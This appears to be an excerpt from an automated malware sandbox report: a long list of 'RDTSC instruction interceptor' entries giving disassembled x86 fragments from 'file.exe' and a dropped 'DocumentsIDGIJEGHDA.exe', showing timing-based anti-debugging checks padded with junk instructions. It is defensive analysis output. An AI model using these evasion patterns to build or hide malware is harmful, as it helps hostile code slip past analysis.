Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90780 second address: F90784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90784 second address: F907B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3F0C7D623Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F3F0C7D6247h 0x0000001a ja 00007F3F0C7D6236h 0x00000020 jmp 00007F3F0C7D623Bh 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F907B2 second address: F907BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F907BA second address: F907C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F907C1 second address: F907E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC0h 0x00000007 pushad 0x00000008 jmp 00007F3F0D2D4AC3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F7F0 second address: F8F800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF10 second address: F8FF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF14 second address: F8FF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0C7D623Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007F3F0C7D6236h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF2F second address: F8FF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF34 second address: F8FF42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D623Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF42 second address: F8FF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FF46 second address: F8FF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F3F0C7D6236h 0x00000013 jmp 00007F3F0C7D6240h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90205 second address: F90213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3F0D2D4ABCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90341 second address: F90349 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94768 second address: F94774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F949E8 second address: F949EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94A81 second address: F94A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94A87 second address: F94AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F3F0C7D6238h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov dx, 105Ah 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F3F0C7D6238h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 push CC2E6D9Fh 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F3F0C7D6242h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94D7B second address: F94D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94D80 second address: F94DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3F0C7D6236h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F3F0C7D623Bh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94DA1 second address: F94DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94DA7 second address: F94DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3F0C7D6241h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push esi 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94DC4 second address: F94DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F3F0D2D4AB8h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F981D1 second address: F981D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F981D5 second address: F981F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F981F0 second address: F98206 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F3F0C7D6236h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jo 00007F3F0C7D6236h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600256 second address: 5600289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3F0D2D4ABEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600289 second address: 560028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560028D second address: 5600291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600291 second address: 5600297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600345 second address: 5600349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600349 second address: 560034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560034F second address: 5600355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600355 second address: 5600359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56003A0 second address: 56003A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56003A7 second address: 5600406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F3F0C7D6243h 0x0000000e mov ax, DFCFh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 push eax 0x00000016 pushfd 0x00000017 jmp 00007F3F0C7D6247h 0x0000001c jmp 00007F3F0C7D6243h 0x00000021 popfd 0x00000022 pop eax 0x00000023 mov ax, dx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov dx, 82EEh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600406 second address: 5600438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F0D2D4AC7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560046D second address: 5600471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600471 second address: 5600477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600477 second address: 5600486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D623Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600486 second address: 560048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560048A second address: 56004BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F3F7E389D96h 0x0000000d push 771B27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [77240140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F3F0C7D623Bh 0x00000059 jmp 00007F3F0C7D6243h 0x0000005e popfd 0x0000005f push eax 0x00000060 push edx 0x00000061 mov ebx, eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56004BC second address: 56004CE instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56004CE second address: 560051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F3F0C7D6241h 0x0000000b pop esi 0x0000000c popad 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 jmp 00007F3F0C7D6247h 0x00000015 mov esi, edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3F0C7D6245h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560051A second address: 560052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0D2D4ABCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560052A second address: 5600551 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D623Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3F0C7D6240h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600551 second address: 5600557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600557 second address: 5600579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D623Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b mov esi, 10D8B3B9h 0x00000010 popad 0x00000011 test al, al 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600579 second address: 560057F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560057F second address: 5600551 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6245h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F3F0C7D61D1h 0x00000011 mov al, byte ptr [edx] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3F0C7D6240h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56005D0 second address: 560065E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov bh, ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov esi, ebx 0x00000011 pushfd 0x00000012 jmp 00007F3F0D2D4AC1h 0x00000017 xor cl, FFFFFFA6h 0x0000001a jmp 00007F3F0D2D4AC1h 0x0000001f popfd 0x00000020 popad 0x00000021 dec edi 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F3F0D2D4ABCh 0x00000029 sub cx, C948h 0x0000002e jmp 00007F3F0D2D4ABBh 0x00000033 popfd 0x00000034 jmp 00007F3F0D2D4AC8h 0x00000039 popad 0x0000003a lea ebx, dword ptr [edi+01h] 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F3F0D2D4AC7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560065E second address: 5600664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600664 second address: 5600668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600668 second address: 5600684 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D623Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ch, bh 0x00000013 mov dh, ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600684 second address: 56006DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a pushad 0x0000000b mov al, E2h 0x0000000d push ebx 0x0000000e mov edx, esi 0x00000010 pop eax 0x00000011 popad 0x00000012 test al, al 0x00000014 jmp 00007F3F0D2D4AC1h 0x00000019 jne 00007F3F7EE7CE7Bh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F3F0D2D4AC6h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56006DA second address: 5600767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D623Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c mov esi, 2BB3972Bh 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 shr ecx, 02h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F3F0C7D6248h 0x0000001e sub ecx, 11CE89E8h 0x00000024 jmp 00007F3F0C7D623Bh 0x00000029 popfd 0x0000002a mov bh, al 0x0000002c popad 0x0000002d rep movsd 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 jmp 00007F3F0C7D623Bh 0x0000003c mov ecx, edx 0x0000003e jmp 00007F3F0C7D6246h 0x00000043 and ecx, 03h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F3F0C7D6247h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600767 second address: 560077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0D2D4AC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560077F second address: 5600783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600783 second address: 5600799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F0D2D4ABAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600799 second address: 560079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560079F second address: 56007A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007A3 second address: 56007A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007A7 second address: 5600812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f pushad 0x00000010 mov bl, 74h 0x00000012 pushfd 0x00000013 jmp 00007F3F0D2D4AC0h 0x00000018 adc ch, FFFFFF98h 0x0000001b jmp 00007F3F0D2D4ABBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, ebx 0x00000024 jmp 00007F3F0D2D4AC6h 0x00000029 mov ecx, dword ptr [ebp-10h] 0x0000002c jmp 00007F3F0D2D4AC0h 0x00000031 mov dword ptr fs:[00000000h], ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600812 second address: 560082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6249h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560082F second address: 5600835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600835 second address: 5600839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600839 second address: 560046D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c jmp 00007F3F0D2D4AC6h 0x00000011 pop edi 0x00000012 jmp 00007F3F0D2D4AC0h 0x00000017 pop esi 0x00000018 pushad 0x00000019 mov edi, ecx 0x0000001b movzx ecx, dx 0x0000001e popad 0x0000001f pop ebx 0x00000020 jmp 00007F3F0D2D4AC5h 0x00000025 leave 0x00000026 pushad 0x00000027 mov di, si 0x0000002a mov ecx, 4365609Fh 0x0000002f popad 0x00000030 retn 0008h 0x00000033 cmp dword ptr [ebp-2Ch], 10h 0x00000037 mov eax, dword ptr [ebp-40h] 0x0000003a jnc 00007F3F0D2D4AB5h 0x0000003c push eax 0x0000003d lea edx, dword ptr [ebp-00000590h] 0x00000043 push edx 0x00000044 call esi 0x00000046 push 00000008h 0x00000048 pushad 0x00000049 push edi 0x0000004a mov al, 5Bh 0x0000004c pop edx 0x0000004d popad 0x0000004e push 7927715Ch 0x00000053 jmp 00007F3F0D2D4ABAh 0x00000058 xor dword ptr [esp], 0E056D74h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56009C7 second address: 56009CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56009CD second address: 56009D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56009D1 second address: 5600A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F3F0C7D6248h 0x0000000e push eax 0x0000000f jmp 00007F3F0C7D623Bh 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 call 00007F3F0C7D6242h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600A15 second address: 5600A21 instructions: 0x00000000 rdtsc 0x00000002 mov ah, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov cx, 8FB9h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 341B55 second address: 341B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 341B5A second address: 341B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 341B60 second address: 341B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3F0C7D6236h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 341E55 second address: 341E6D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3F0D2D4AB6h 0x00000008 jns 00007F3F0D2D4AB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007F3F0D2D4ABCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3421F5 second address: 3421FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343BE4 second address: 343BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343C74 second address: 343C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6246h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343C94 second address: 343C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
